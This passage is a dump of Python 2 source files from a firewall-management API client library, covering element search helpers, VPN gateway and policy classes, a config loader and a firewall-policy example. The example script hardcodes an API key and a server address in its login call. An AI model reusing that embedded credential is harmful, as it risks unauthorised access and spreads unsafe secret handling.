element.json:\n return element.json.pop()\n \ndef element_href_use_wildcard(name):\n \"\"\" Get element href using a wildcard rather than matching only on the name field\n This will likely return multiple results\n \n :param name: name of element\n :return: list of matched elements, else None\n \"\"\"\n if name:\n element = fetch_href_by_name(name, exact_match=False)\n if element.json:\n return element.json #list\n \ndef element_href_use_filter(name, _filter):\n \"\"\" Get element href using filter \n \n Filter should be a valid entry point value, ie host, router, network, single_fw, etc\n \n :param name: name of element\n :param _filter: filter type, unknown filter will result in no matches\n :return: element href (if found), else None\n \"\"\"\n if name and _filter:\n #element = fetch_by_name_and_filter(name, _filter)\n element = fetch_href_by_name(name, filter_context=_filter)\n if element.json:\n return element.json.pop().get('href')\n\ndef element_by_href_as_json(href):\n \"\"\" Get specified element by href\n \n :param href: link to object\n :return: json data representing element, else None\n \"\"\" \n if href:\n element = fetch_json_by_href(href)\n if element:\n return element.json\n\ndef element_by_href_as_smcresult(href):\n \"\"\" Get specified element returned as an SMCElement object\n \n :param href: href direct link to object\n :return: SMCElement with etag, href and element field holding json, else None\n \"\"\" \n if href:\n element = fetch_json_by_href(href)\n if element:\n return element\n \ndef element_as_smcresult(name): \n \"\"\" Get specified element returned as an SMCElement object\n \n :param name: name of object\n :return: SMCResult, else None\n \"\"\"\n if name:\n element = fetch_json_by_name(name)\n if element.json:\n return element\n\ndef element_as_smcresult_use_filter(name, _filter):\n \"\"\" Return SMCResult object and use search filter to\n find object\n \n :param name: name of element to find\n :param _filter: filter to use, i.e. tcp_service, host, etc\n :return: SMCResult\n \"\"\"\n if name:\n element_href = element_href_use_filter(name, _filter)\n if element_href:\n return element_by_href_as_smcresult(element_href)\n\ndef element_href_by_batch(list_to_find, _filter=None):\n \"\"\" Find batch of entries by name. Reduces number of find calls from\n calling class. \n \n :param list list_to_find: list of names to find\n :param _filter: optional filter, i.e. 'tcp_service', 'host', etc\n :return: list: {name: href, name: href}, href may be None if not found\n \"\"\"\n try:\n if _filter:\n return [{k:element_href_use_filter(k, _filter)\n for k in list_to_find}]\n else:\n return [{k:element_href(k) for k in list_to_find}] \n except TypeError:\n logger.error(list_to_find, 'is not iterable')\n \ndef all_elements_by_type(name):\n \"\"\" Get specified elements based on the entry point verb from SMC api\n To get the entry points available, you can call web_api.get_all_entry_points()\n Execution is get the entry point for the element type, then get all elements that\n match.\n \n For example::\n \n smc.get_element_by_entry_point('log_server')\n \n :param name: top level entry point name\n :return: list with json representation of name match, else None\n \"\"\"\n if name:\n entry = element_entry_point(name)\n \n if entry: #in case an invalid entry point is specified\n result = element_by_href_as_json(entry)\n return result\n else:\n logger.error(\"Entry point specified was not found: %s\" % name)\n\ndef all_entry_points(): #get from session cache\n \"\"\" Get all SMC API entry points \"\"\"\n return session.cache.get_all_entry_points()\n\ndef element_entry_point(name):\n \"\"\" Get specified element from cache based on the entry point verb from SMC api\n To get the entry points available, you can call web_api.get_all_entry_points()\n For example::\n \n element_entry_point('log_server')\n \n :param name: top level entry point name\n :return: href: else None\n \"\"\"\n if name: \n element = fetch_entry_point(name)\n if element:\n return element\n\ndef search_unused():\n \"\"\" Search for all unused elements \n :return: list of dict items holding href,type and name\n \"\"\"\n return element_by_href_as_json(fetch_entry_point('search_unused'))\n\ndef search_duplicate():\n \"\"\" Search all duplicate elements \n :return: list of dict items holding href,type and name\n \"\"\"\n return element_by_href_as_json(fetch_entry_point('search_duplicate'))\n \ndef get_routing_node(name):\n \"\"\" Get the json routing node for name \"\"\"\n if name:\n node = element_as_json(name)\n if node:\n route_link = next(item for item in node.get('link') if item.get('rel') == 'routing') \n routing_orig = element_by_href_as_json(route_link.get('href'))\n return routing_orig\n\ndef get_first_log_server():\n \"\"\" Convenience method to return the first log server match in\n the case where there might be multiple\n \n :return: href of log server, or None\n \"\"\"\n available_log_servers = all_elements_by_type('log_server')\n if available_log_servers:\n for found in available_log_servers:\n return found.get('href')\n\ndef _iter_list_to_tuple(lst):\n \"\"\" Return tuple name,href from top level json query:\n {'href'='http://x.x.x.x', 'name'='blah', 'type'='sometype'}\n \n :param policy: find specific href of policy by name\n :return: list of tuple (name, href)\n \"\"\"\n return [(opt.get('name'),opt.get('href')) for opt in lst]\n\ndef _href_from_name_href_tuple(dictentry, element_name):\n element = [entry.get('href') for entry in dictentry \n if entry.get('name') == element_name]\n if element:\n return element.pop()" }, { "alpha_fraction": 0.5628498196601868, "alphanum_fraction": 0.564747154712677, "avg_line_length": 32.99354934692383, "blob_id": "cb8af3b47d96a799d85e6e32a4ec93e7e811a7c0", "content_id": "d31fa61a5444b7669ad5e743a61445bbfeb0cca8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21082, "license_type": "no_license", "max_line_length": 96, "num_lines": 620, "path": "/smc/elements/vpn.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "from pprint import pformat\nfrom smc.elements.element import SMCElement\nimport smc.actions.search as search\nfrom smc.api.exceptions import SMCException, LoadPolicyFailed, CreatePolicyFailed,\\\n CreateElementFailed\nfrom smc.elements.helpers import find_link_by_name\n\n \nclass InternalGateway(object):\n \"\"\" \n InternalGateway represents the engine side VPN configuration\n This defines settings such as setting VPN sites on protected\n networks and generating certificates.\n This is defined under Engine->VPN within SMC\n \n This is a resource of an Engine as it defines engine specific VPN \n gateway settings::\n \n engine.internal_gateway.describe()\n \n :ivar href: location of this internal gateway\n :ivar vpn_site: vpn site object\n :ivar internal_endpoint: interface endpoint mappings (where to enable VPN) \n \"\"\"\n def __init__(self, name=None, **kwargs):\n self.name = name\n for key, value in kwargs.items():\n setattr(self, key, value)\n \n def modify_attribute(self, **kwargs):\n \"\"\"\n Modify attribute\n \n :param kwargs: (key=value)\n :return: SMCResult\n \"\"\"\n for k, v in kwargs.iteritems():\n setattr(self, k, v) \n latest = search.element_by_href_as_smcresult(self.href)\n return SMCElement(href=self.href, json=vars(self),\n etag=latest.etag).update()\n \n @property\n def vpn_site(self):\n \"\"\"\n Retrieve VPN Site information for this internal gateway\n \n Find all configured sites for engine::\n \n for site in engine.internal_gateway.vpn_site.all():\n print site\n \n :method: GET\n :return: :py:class:`smc.elements.vpn.VPNSite`\n \"\"\"\n href = find_link_by_name('vpn_site', self.link)\n return VPNSite(href=href)\n \n @property\n def internal_endpoint(self):\n \"\"\"\n Internal Endpoint setting VPN settings to the interface\n \n Find all internal endpoints for an engine::\n \n for x in engine.internal_gateway.internal_endpoint.all():\n print x\n \n :method: GET\n :return: list :py:class:`smc.elements.vpn.InternalEndpoint`\n \"\"\"\n href = find_link_by_name('internal_endpoint', self.link)\n return InternalEndpoint(href=href)\n \n def gateway_certificate(self):\n \"\"\"\n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('gateway_certificate', self.link))\n \n def gateway_certificate_request(self):\n \"\"\"\n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('gateway_certificate_request', self.link)) \n \n #TODO: Test\n def generate_certificate(self):\n \"\"\"\n :method: POST\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('generate_certificate', self.link))\n \n def describe(self):\n \"\"\"\n Describe the internal gateway by returning the raw json::\n \n print engine.internal_gateway.describe()\n \"\"\" \n return pformat(vars(self))\n \n @property\n def href(self):\n \"\"\" \n Use this property when adding to a VPN Policy\n \"\"\"\n return find_link_by_name('self', self.link)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n\nclass InternalEndpoint(object):\n \"\"\"\n InternalEndpoint lists the VPN endpoints either enabled or disabled for\n VPN. You should enable the endpoint for the interface that will be the\n VPN endpoint. You may also need to enable NAT-T and ensure IPSEC is enabled.\n This is defined under Engine->VPN->EndPoints in SMC. This class is a property\n of the engines internal gateway and not accessed directly.\n \n To see all available internal endpoint (VPN gateways) on a particular\n engine, get the engine context first::\n \n engine = Engine('myengine').load()\n for endpt in engine.internal_gateway.internal_endpoint.all():\n print endpt\n \n :ivar deducted_name: name of the endpoint is based on the interface\n :ivar dynamic: True|False\n :ivar enabled: True|False\n :ivar ipsec_vpn: True|False\n :ivar nat_t: True|False\n \n :param href: pass in href to init which will have engine insert location \n \"\"\"\n def __init__(self, name=None, **kwargs):\n self.name = name\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n self.element = SMCElement(href=self.href,json={})\n\n def modify_attribute(self, **kwargs):\n \"\"\"\n Modify an internal attribute of the internal endpoint\n For example, enabling one of the interfaces to accept VPN\n traffic::\n \n for gateway in engine.internal_gateway.internal_endpoint.all():\n if gateway.name.startswith('50.50.50.50'):\n print gateway.describe()\n gateway.modify_attribute(nat_t=True,enabled=True)\n \n :return: SMCResult\n \"\"\"\n return self.element.modify_attribute(**kwargs)\n \n def describe(self):\n \"\"\"\n Return json representation of element\n \n :return: raw json \n \"\"\"\n return pformat(search.element_by_href_as_json(self.href))\n \n def all(self):\n \"\"\"\n Return all internal endpoints\n \n :return: list :py:class:`smc.elements.vpn.InternalEndpoint`\n \"\"\"\n gateways=[]\n for gateway in search.element_by_href_as_json(self.href):\n gateways.append(\n InternalEndpoint(**gateway))\n return gateways\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n \nclass ExternalGateway(object):\n \"\"\"\n ExternalGateway defines an VPN Gateway for a non-SMC managed device. \n This will specify details such as the endpoint IP, enabled, \n balancing mode, etc. Load needs to be called on this resource in order\n to get the context to change the configuration.\n \n Create the external gateway and load configuration::\n \n mygw = ExternalGateway.create('mygateway')\n\n Later get configuration for external gateway::\n \n mygw = ExternalGateway('mygateway').load()\n \n :ivar gateway_profile: link to top level enabled gateway crypto\n :ivar name: name of external gateway\n :ivar trust_all_cas: True|False (default True)\n :ivar vpn_site: vpn_sites associated\n \n :param href: pass in href to init which will have engine insert location\n \"\"\"\n def __init__(self, name=None, **kwargs):\n self.name = name\n for key, value in kwargs.items():\n setattr(self, key, value)\n \n @classmethod\n def create(cls, name, trust_all_cas=True):\n \"\"\" \n Create new External Gateway\n \n :param str name: name of external gateway\n :param boolean trust_all_cas: whether to trust all internal CA's\n (default: True)\n \"\"\"\n data = {'name': name,\n 'trust_all_cas': trust_all_cas }\n \n href = search.element_entry_point('external_gateway')\n result = SMCElement(href=href, json=data).create()\n if result.href:\n return ExternalGateway(name).load()\n else:\n raise CreateElementFailed('Failed creating external gateway, '\n 'reason: {}'.format(result.msg))\n\n def load(self):\n \"\"\"\n Load external gateway settings\n \n :return: ExternalGateway\n \"\"\"\n try:\n result = search.element_by_href_as_json(self.href)\n except AttributeError:\n result = search.element_as_json_with_filter(\n self.name, 'external_gateway')\n if result:\n self.json = {}\n for k, v in result.iteritems():\n self.json.update({k: v})\n self.link = self.json.get('link')\n return self\n else:\n raise SMCException('External GW exception, replace this')\n \n def export(self):\n \"\"\"\n :method: POST\n \"\"\"\n pass\n \n @property\n def vpn_site(self):\n \"\"\"\n A VPN site defines a collection of IP's or networks that\n identify address space that is defined on the other end of\n the VPN tunnel.\n \n :method: GET\n :return: list :py:class:`smc.elements.vpn.VPNSite`\n \"\"\"\n href = find_link_by_name('vpn_site', self.link)\n return VPNSite(href=href)\n\n @property\n def external_endpoint(self):\n \"\"\"\n An External Endpoint is the IP based definition for the\n destination VPN peers. There may be multiple per External\n Gateway. \n Add a new endpoint to an existing external gateway::\n \n gw = ExternalGateway('externalgw').load()\n gw.external_endpoint.create('mynewendpoint', '111.111.111.111')\n \n :method: GET\n :return: :py:class:`smc.elements.vpn.ExternalEndpoint`\n \"\"\"\n href = find_link_by_name('external_endpoint', self.link)\n return ExternalEndpoint(href=href)\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n\nclass ExternalEndpoint(object):\n \"\"\"\n External Endpoint is used by the External Gateway and defines the IP\n and other VPN related settings to identify the VPN peer. This is created\n to define the details of the non-SMC managed gateway. This class is a property\n of :py:class:`smc.elements.vpn.ExternalGateway` and should not be called \n directly.\n \n :param href: pass in href to init which will have engine insert location \n \"\"\"\n def __init__(self, name=None, **kwargs):\n self.name = name\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n self.element = SMCElement(href=self.href,json={})\n \n def create(self, name, address, enabled=True, balancing_mode='active',\n ipsec_vpn=True, nat_t=False, dynamic=False):\n \"\"\"\n Create an external endpoint. Define common settings for that\n specify the address, enabled, nat_t, name, etc.\n \n :param str name\n :param str address: address of remote host\n :param boolean enabled: True|False (default: True)\n :param str balancing_mode: active\n :param boolean ipsec_vpn: True|False (default: True)\n :param boolean nat_t: True|False (default: False)\n :param boolean dynamic: is a dynamic VPN (default: False)\n \"\"\"\n self.element.json.update(name=name,\n address=address,\n balancing_mode=balancing_mode,\n dynamic=dynamic,\n enabled=enabled,\n nat_t=nat_t,\n ipsec_vpn=ipsec_vpn) \n return self.element.create()\n\n def modify_attribute(self, **kwargs):\n \"\"\"\n Modify an existing external endpoint.\n \n For example, set an endpoint with address '2.2.2.2' to\n disabled::\n \n external_gateway = ExternalGateway('externalgw').load()\n for endpoint in external_gateway.external_endpoint.all():\n if endpoint.name.startswith('myhost2'):\n endpoint.modify_attribute(enabled=False)\n \n :return: SMCResult\n \"\"\"\n return self.element.modify_attribute(**kwargs)\n \n def describe(self):\n \"\"\"\n Return json representation of element\n \n :return: raw json \n \"\"\"\n return pformat(search.element_by_href_as_json(self.href))\n \n def all(self):\n \"\"\"\n Show all defined external endpoints\n \n :return list :py:class:smc.elements.vpn.ExternalEndpoint`\n \"\"\"\n endpoints=[]\n for endpoint in search.element_by_href_as_json(self.href):\n endpoints.append(\n ExternalEndpoint(**endpoint))\n return endpoints\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n \nclass VPNSite(object):\n \"\"\"\n VPN Site information for an internal or external gateway\n Sites are used to encapsulate hosts or networks as 'protected' for VPN\n policy configuration.\n \n Create a new vpn site for an engine::\n \n engine = Engine('myengine').load()\n site_network = describe_networks(name=['network-192.168.5.0/25'])\n for site in site_network:\n site_network = site.href\n engine.internal_gateway.vpn_site.create('newsite', [site_network])\n \n This class is a property of :py:class:`smc.elements.vpn.InternalGateway` or\n :py:class:`smc.elements.vpn.ExternalGateway` and should not be accessed directly.\n \n :ivar name: name of VPN site\n :ivar site_element: list of network elements behind this site\n \n :param href: pass in href to init which will have engine insert location\n \"\"\"\n def __init__(self, name=None, **kwargs):\n self.name = name\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n self.element = SMCElement(href=self.href, json={})\n \n def create(self, name, site_element):\n \"\"\"\n :param name: name of site\n :param list site_element: list of protected networks/hosts\n :return: VPNSite json\n \"\"\"\n self.element.json.update(name=name,\n site_element=site_element) \n self.element.create()\n \n def modify_attribute(self, **kwargs):\n \"\"\"\n Modify attribute of VPN site. Site_element is a list, if \n a new site_element attribute is provided, this list will \n overwrite the previous::\n \n hosts = collections.describe_networks(name=['172.18.1.0'], \n exact_match=False)\n h = [host.href for host in hosts]\n for site in engine.internal_gateway.vpn_site.all():\n if site.name == 'newsite':\n site.modify_attribute(site_element=h)\n \"\"\"\n return self.element.modify_attribute(**kwargs)\n \n def describe(self):\n \"\"\"\n Return json representation of element\n \n :return: raw json of SMCElement\n \"\"\"\n return pformat(search.element_by_href_as_json(self.href))\n \n def all(self):\n \"\"\"\n Return all sites for this engine\n \n :return: list VPNSite\n \"\"\"\n sites=[]\n for site in search.element_by_href_as_json(self.href):\n sites.append(VPNSite(**site))\n return sites\n \n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'name={}'.format(self.name))\n\nclass VPNProfile(object):\n \"\"\"\n Represents a VPNProfile configuration used by the VPNPolicy\n \"\"\"\n def __init__(self, **kwargs):\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n \nclass VPNPolicy(object):\n \"\"\"\n Create a new VPN Policy\n When making VPN Policy modifications, you must first call :py:func:`open`, \n make your modifications and then call :py:func:`save` followed by \n :py:func:`close`.\n \n :ivar name: name of policy\n :ivar vpn_profile: reference to used VPN profile\n :ivar nat: whether NAT is enabled on the VPN policy\n :ivar mobile_vpn_topology_mode: where to allow remote clients\n \"\"\"\n def __init__(self, name, **kwargs):\n self.name = name\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n\n @classmethod\n def create(cls, name, nat=False, mobile_vpn_toplogy_mode=None,\n vpn_profile=None):\n \"\"\"\n Create a new policy based VPN\n \n :param name: name of vpn policy\n :param boolean nat: whether to apply NAT to the VPN (default False)\n :param mobile_vpn_toplogy_mode: whether to allow remote vpn\n :param str vpn_profile: reference to VPN profile, or uses default\n \"\"\"\n json = {'mobile_vpn_topology_mode': None,\n 'name': name,\n 'nat': nat,\n 'vpn_profile': vpn_profile}\n \n href = search.element_entry_point('vpn')\n result = SMCElement(href=href, \n json=json).create()\n if result.href:\n return VPNPolicy(name).load()\n else:\n raise CreatePolicyFailed('VPN Policy create failed. Reason: {}'.format(result.msg))\n \n def load(self):\n \"\"\"\n Load VPN Policy and store associated json in self.json attribute\n \n :return: VPNPolicy\n \"\"\"\n try:\n result = search.element_by_href_as_json(self.href)\n except AttributeError:\n result = search.element_as_json_with_filter(self.name, 'vpn')\n if result:\n self.json = {}\n for k, v in result.iteritems():\n self.json.update({k: v})\n self.link = self.json.get('link')\n return self\n else:\n raise LoadPolicyFailed('Failed to load VPN policy, please ensure the policy exists')\n \n def central_gateway_node(self):\n \"\"\"\n Central Gateway Node acts as the hub of a hub-spoke VPN. \n \n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('central_gateway_node', self.link))\n \n def satellite_gateway_node(self):\n \"\"\"\n Node level settings for configured satellite gateways\n \n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('satellite_gateway_node', self.link))\n \n def mobile_gateway_node(self):\n \"\"\"\n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('mobile_gateway_node', self.link))\n \n def open(self):\n \"\"\"\n :method: POST\n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('open', self.link)).create()\n \n def save(self):\n \"\"\"\n :method: POST\n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('save', self.link)).create()\n \n def close(self):\n \"\"\"\n :method: POST\n :return: SMCResult\n \"\"\"\n return SMCElement(\n href=find_link_by_name('close', self.link)).create()\n \n def validate(self):\n \"\"\"\n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('validate', self.link))\n \n def gateway_tunnel(self):\n \"\"\"\n :method: GET\n \"\"\"\n return search.element_by_href_as_json(\n find_link_by_name('gateway_tunnel', self.link))\n \n def export(self):\n \"\"\"\n :method: POST\n \"\"\"\n pass\n \n def add_central_gateway(self, gateway):\n \"\"\" \n Add SMC managed internal gateway to the Central Gateways of this VPN\n \n :param gateway: href for internal gateway. If this is another \n SMC managed gateway, you can retrieve the href after loading the\n engine. See :py:class:`smc.elements.engines.Engine.internal_gateway`\n \n :return: SMCResult\n \"\"\"\n gateway_node = find_link_by_name('central_gateway_node', self.link)\n return SMCElement(href=gateway_node,\n json={'gateway': gateway,\n 'node_usage':'central'}).create()\n \n def add_satellite_gateway(self, gateway):\n \"\"\"\n Add gateway node as a satellite gateway for this VPN. You must first\n have the gateway object created. This is typically used when you either \n want a hub-and-spoke topology or the external gateway is a non-SMC \n managed device.\n \n :return: SMCResult\n \"\"\"\n gateway_node = find_link_by_name('satellite_gateway_node', self.link)\n return SMCElement(href=gateway_node,\n json={'gateway': gateway,\n 'node_usage':'satellite'}).create() \n \n @property\n def vpn_profile(self):\n return self.json.get('vpn_profile')\n \n def describe(self):\n \"\"\"\n Return json representation of this VPNPolicy\n \n :return: json\n \"\"\"\n return pformat(vars(self))\n\n def __repr__(self):\n return \"%s(%r)\" % (self.__class__, 'policy={}'.format(self.name)) " }, { "alpha_fraction": 0.5756179094314575, "alphanum_fraction": 0.586929202079773, "avg_line_length": 32.43661880493164, "blob_id": "bf320a6609be44b1037863485942a615f3ad9307", "content_id": "6ae629d085eb38b5033142ab87bef88058afcf23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2387, "license_type": "no_license", "max_line_length": 88, "num_lines": 71, "path": "/smc/api/configloader.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "'''\nCreated on Aug 14, 2016\n\n@author: davidlepage\n'''\nimport os\nfrom ConfigParser import SafeConfigParser, NoOptionError, NoSectionError\nfrom smc.api.exceptions import ConfigLoadError\n\ndef load_from_file(alt_filepath=None):\n \"\"\" Attempt to read the SMC configuration from a \n dot(.) file in the users home directory. The order in\n which credentials are parsed is:\n \n - Passing credentials as parameters to the session login\n - Shared credential file (~/.smcrc)\n \n Configuration file should look like::\n \n [smc]\n smc_address=172.18.1.150\n smc_apikey=xxxxxxxxxxxxxxxxxxx\n smc_port=8082\n \n Address is the IP of the SMC Server\n apikey is obtained from creating an API Client in SMC\n port to use for SMC, (default: 8082)\n \n FQDN will be constructed from the information above.\n \n :param alt_filepath: Specify a different file name for the\n configuration file. This should be fully qualified and include\n the name of the configuration file to read.\n \"\"\"\n path = '~/.smcrc'\n config = {}\n option_names = ['smc_address', 'smc_port', 'smc_apikey', 'smc_api']\n parser = SafeConfigParser(defaults={'smc_port':'8082',\n 'smc_api': None},\n allow_no_value=True)\n \n if alt_filepath is not None:\n path = alt_filepath\n else:\n path = os.path.expandvars(path)\n path = os.path.expanduser(path)\n \n try:\n parser.read(path)\n for option in option_names:\n val = parser.get('smc', option)\n config[option] = val\n except NoOptionError, e:\n raise ConfigLoadError('Failed loading credentials from configuration '\n 'file: {}; {}'.format(path,e))\n except NoSectionError, e:\n raise ConfigLoadError('Failed loading credential file from: {}, check the '\n 'path and verify contents are correct.'.format(path, e))\n \n for flag in [ 'ssl_on' ]:\n use_ssl = parser.has_option('smc', flag)\n \n if use_ssl:\n scheme = 'https'\n else:\n scheme = 'http'\n \n url = \"{}://{}:{}\".format(scheme, config.get('smc_address'), config.get('smc_port'))\n return {'url': url, \n 'api_key': config.get('smc_apikey'), \n 'api_version': config.get('smc_api')}\n \n" }, { "alpha_fraction": 0.587482213973999, "alphanum_fraction": 0.5955429077148438, "avg_line_length": 28.704225540161133, "blob_id": "deb6442ee4da398b532d123798d0ebfef76aa51b", "content_id": "84516514c0922744047ebc3cd528f86133d69f87", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2109, "license_type": "no_license", "max_line_length": 89, "num_lines": 71, "path": "/smc/examples/firewall_policy.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "'''\nFirewall Policy example\n\nCreate a new Firewall policy, open (lock) the policy, create a rule and save, then delete\na rule by name. \n'''\n\nfrom smc.elements.policy import FirewallPolicy\nfrom smc.elements.collections import describe_tcp_services, describe_hosts\nfrom smc.api.session import session\n\nimport logging\nlogging.getLogger()\nlogging.basicConfig(level=logging.INFO)\n\nif __name__ == '__main__':\n \n session.login(url='http://172.18.1.150:8082', api_key='EiGpKD4QxlLJ25dbBEp20001')\n \n \"\"\" \n Create a new Firewall Policy using the Firewall Inspection Template\n \"\"\"\n #policy = FirewallPolicy.create(name='smcpython',\n # template='Firewall Inspection Template') \n \n \"\"\"\n Load an existing policy\n \"\"\" \n policy = FirewallPolicy('smcpython').load() \n print \"Loaded firewall policy successfully...\"\n \n \"\"\"\n View a metadata version of each configured rule\n \"\"\"\n for rule in policy.fw_ipv4_access_rules:\n print rule\n \n \"\"\"\n View details of the rule/s (this can be resource intensive depending on\n how many rules are configured\n \"\"\"\n for rule in policy.fw_ipv4_access_rules:\n print rule.describe_rule()\n \n \"\"\"\n Open the policy for editing, create a rule, and save the policy\n \"\"\"\n myservices = describe_tcp_services(name=['HTTP', 'HTTPS'])\n myservices = [service.href for service in myservices]\n \n mysources = describe_hosts(name=['amazon-linux'])\n mysources = [host.href for host in mysources]\n \n mydestinations = ['any']\n \n policy.open()\n policy.ipv4_rule.create(name='myrule', \n sources=mysources,\n destinations=mydestinations, \n services=myservices, \n action='permit')\n policy.save()\n \n \"\"\"\n Delete a rule by name (comment this out to verify rule creation)\n \"\"\"\n for rule in policy.fw_ipv4_access_rules:\n if rule.name == 'myrule':\n rule.delete()\n \n session.logout()\n" }, { "alpha_fraction": 0.5701280236244202, "alphanum_fraction": 0.5764240622520447, "avg_line_length": 33.119014739990234, "blob_id": "6939c49b4a7389f040d06dad43d09550428a0d4d", "content_id": "45d35f0c8789d38cc77f7b39acdbeeceda7fe905", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 23507, "license_type": "no_license", "max_line_length": 94, "num_lines": 689, "path": "/smc/elements/element.py", "repo_name": "artlog/smc-python", "src_encoding": "UTF-8", "text": "\"\"\" \nElement module holding logic to add network elements to SMC. \nAll element's are a subclass of SMCElement (is-a). The create() function for each\nelement type class will generate the proper json for the given element type and returning that\nelement. The results can then be sent to the SMC through the :mod:`smc.api.common.create`. The\nresult will be the href for the newly created object.\n\nSee SMCElement for more details:\n \n:class:`smc.elements.element.SMCElement` for more details.\n\n\"\"\"\nfrom pprint import pformat\nimport smc.actions.search\nimport smc.api.common\nfrom smc.api.exceptions import SMCOperationFailure\n \nclass SMCElement(object):\n \"\"\" \n SMCElement represents the data structure for sending data to\n the SMC API. When calling :mod:`smc.api.common` methods for \n create, update or delete, this is the required object type.\n \n Common parameters that are needed are stored in this base class\n and are stored as instance attributes:\n \n :ivar json: json data to be sent to SMC\n :ivar etag: required for modify\n :ivar name: name of object\n :ivar href: (required) location of the resource\n :ivar params: If additional URI parameters are needed for href\n \"\"\"\n def __init__(self, **kwargs):\n self.name = None\n self.json = None\n self.etag = None\n self.href = None\n self.params = None\n \n for key, value in kwargs.items():\n setattr(self, key, value)\n \n def create(self):\n return smc.api.common.create(self)\n \n def update(self):\n return smc.api.common.update(self)\n \n def describe(self):\n \"\"\"\n Return a pprint representation of the SMCElement. Useful for\n reviewing the raw json to identify key/values that then can be \n used for modify_attribute.\n \n :return: raw json of SMCElement\n \"\"\"\n return pformat(smc.actions.search.element_by_href_as_json(self.href))\n \n def modify_attribute(self, **kwargs):\n \"\"\"\n Modify attribute/s of an existing element. The proper way to\n get the context of the element is to use the 'describe' functions\n in :py:class:`smc.elements.collections` class.\n For example, to change the name and IP of an existing host\n object::\n \n for host in describe_hosts(name=['myhost']):\n h.modify_attribute(name='kiley', address='1.1.2.2')\n \n This method will acquire the full json along with etag and href \n to put the element in context. Most element attributes can be\n modified, with exception of attributes listed as read-only. Common\n attributes can be found in class level documentation.\n \n :param kwargs: key=value pairs to change element attributes\n :return: SMCResult\n \"\"\"\n result = smc.api.common.fetch_json_by_href(self.href)\n self.json = result.json\n self.etag = result.etag\n for k, v in kwargs.iteritems():\n self.json.update({k: v})\n return self.update()\n \n def _fetch_href(self, element_type):\n self.href = smc.actions.search.element_entry_point(element_type)\n \n def __repr__(self):\n try:\n return \"%s(%r)\" % (self.__class__, \"name={},type={}\".format(\n self.name, self.type))\n except AttributeError:\n return \"%s(%r)\" % (self.__class__, \"name={}\".format(self.name))\n \nclass Host(SMCElement):\n \"\"\" Class representing a Host object used in access rules\n \n :param name: Name of element\n :param ip: ip address of host object\n :param secondary_ip: secondary ip address (optional)\n :param comment: optional comment\n \n Create a host element::\n \n Host('myhost', '1.1.1.1', '1.1.1.2', 'some comment for my host').create()\n \"\"\"\n typeof = 'host'\n \n def __init__(self, name, address, \n secondary_ip=None, comment=None):\n SMCElement.__init__(self)\n secondary = []\n if secondary_ip:\n secondary.append(secondary_ip)\n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'address': address,\n 'secondary': secondary,\n 'comment': comment }\n self._fetch_href(Host.typeof) \n\nclass Group(SMCElement):\n \"\"\" Class representing a Group object used in access rules\n \n :param name: Name of element\n :param members: group members by element names\n :type members: list or None\n :param comment: optional comment\n \n Create a group element::\n \n Group('mygroup').create() #no members\n \n Group with members::\n \n Group('mygroup', ['member1','member2']).create()\n \"\"\"\n typeof = 'group'\n \n def __init__(self, name, members=None, comment=None):\n SMCElement.__init__(self)\n member_lst = []\n if members:\n member_lst.extend(members)\n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'element': member_lst,\n 'comment': comment } \n self._fetch_href('group')\n \nclass AddressRange(SMCElement):\n \"\"\" Class representing a IpRange object used in access rules\n \n :param name: Name of element\n :param iprange: iprange of element\n :type iprange: string\n :param comment: optional comment\n \n Create an address range element::\n \n IpRange('myrange', '1.1.1.1-1.1.1.5').create()\n \"\"\"\n typeof = 'address_range'\n \n def __init__(self, name, iprange, comment=None):\n SMCElement.__init__(self) \n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'ip_range': iprange,\n 'comment': comment }\n self._fetch_href('address_range')\n\nclass Router(SMCElement):\n \"\"\" Class representing a Router object used in access rules\n \n :param name: Name of element\n :param address: ip address of host object\n :type address: string\n :param secondary_ip: secondary ip address (optional)\n :param comment: optional comment\n \n Create a router element::\n \n Router('myrouter', '1.2.3.4', comment='my router comment').create()\n \"\"\"\n typeof = 'router'\n \n def __init__(self, name, address, \n secondary_ip=None, comment=None):\n SMCElement.__init__(self)\n secondary = []\n if secondary_ip:\n secondary.append(secondary_ip) \n comment = comment if comment else ''\n self.json = {\n 'name': name,\n 'address': address,\n 'secondary': secondary }\n self._fetch_href('router') \n\nclass Network(SMCElement):\n \"\"\" Class representing a Network object used in access rules \n \n :param name: Name of element\n :param ip4_network: network cidr\n :param comment: optional comment \n\n Create a network element::\n \n Network('mynetwork', '2.2.2.0/24').create()\n \n .. note:: ip4_network must be in CIDR format\n \"\"\"\n typeof = 'network'\n \n def __init__(self, name, ip4_network, comment=None):\n SMCElement.__init__(self) \n comment = comment if 